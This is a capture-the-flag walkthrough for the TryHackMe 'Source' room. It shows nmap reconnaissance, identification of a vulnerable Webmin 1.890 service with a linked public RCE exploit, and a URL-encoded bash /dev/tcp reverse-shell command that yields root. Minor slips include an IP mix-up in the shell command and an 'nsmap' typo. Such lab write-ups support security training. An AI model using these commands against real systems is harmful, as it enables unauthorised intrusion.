Title here
Summary here
Source
January 19, 20232 minutes
https://tryhackme.com/room/source
Attacker IP = 10.10.10.10
Target IP = 10.10.16.237
Reconnaissance
First of all, we check whether the machine is up and which OS it runs
ping -c 1 10.10.16.237
PING 10.10.16.237 (10.10.16.237) 56(84) bytes of data.
64 bytes from 10.10.16.237: icmp_seq=1 ttl=63 time=61.1 ms
--- 10.10.16.237 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 61.096/61.096/61.096/0.000 ms
In this case it returns a TTL (time to live) of 63, knowing that ttl=64: Linux / ttl=128: Windows. This machine is most likely Linux
Port scan (nmap)
Now we start with a port scan
nmap -p- --open -sS --min-rate 5000 -n -vvv -Pn 10.10.16.237 -oG allPorts
| Parameter | Purpose |
|---|---|
| -p- | Scan all ports (65536) |
| –open | Only report open ports |
| -sS –min-rate 5000 | Set the scan speed |
| -n | Skip DNS resolution |
| -vvv | Print findings to the console as they come |
| -Pn | Skip host discovery |
| -oG allPorts | Save the scan in grepable format to a file called allPorts |
With a function defined in .zshrc called extractPorts, we get the open ports in a more visual way
extractPorts function by @s4vitar
❯ extractPorts allPorts
───────┬─────────────────────────────────────────────────────────────────────────────────────────
│ File: extractPorts.tmp
───────┼─────────────────────────────────────────────────────────────────────────────────────────
1 │
2 │ [*] Extracting information...
3 │
4 │ [*] IP Address: 10.10.186.98
5 │ [*] Open ports: 22,10000
6 │
7 │ [*] Ports copied to clipboard
8 │
───────┴─────────────────────────────────────────────────────────────────────────────────────────
Now, with nmap, we try to find the versions of the services on those ports and run basic reconnaissance scripts
nsmap -p22,10000 -sC -sV 10.10.16.237
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 b74cd0bde27b1b15722764562915ea23 (RSA)
| 256 b78523114f44fa22008e40775ecf287c (ECDSA)
|_ 256 a9fe4b82bf893459365becdac2d395ce (ED25519)
10000/tcp open http MiniServ 1.890 (Webmin httpd)
|_http-title: Site doesn't have a title (text/html; Charset=iso-8859-1).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Port 10000
nmap reported the version on port 10000 (Webmin 1.890), and a quick Google search shows it is vulnerable. I found an exploit on GitHub: https://github.com/foxsin34/WebMin-1.890-Exploit-unauthorized-RCE. Running it lets us execute commands as root on the server, but they need to be URL-encoded before sending them.
Exploitation
Since we can run commands as root on the server, we could read both flags directly or send ourselves a reverse shell.
We start listening on port 443
nc -nlvp 443
Now we use the exploit to send the command that gives us a reverse shell: bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.16.237%2F443%200%3E%261%22. And we are root
Prev
StartupNext
Mustacchio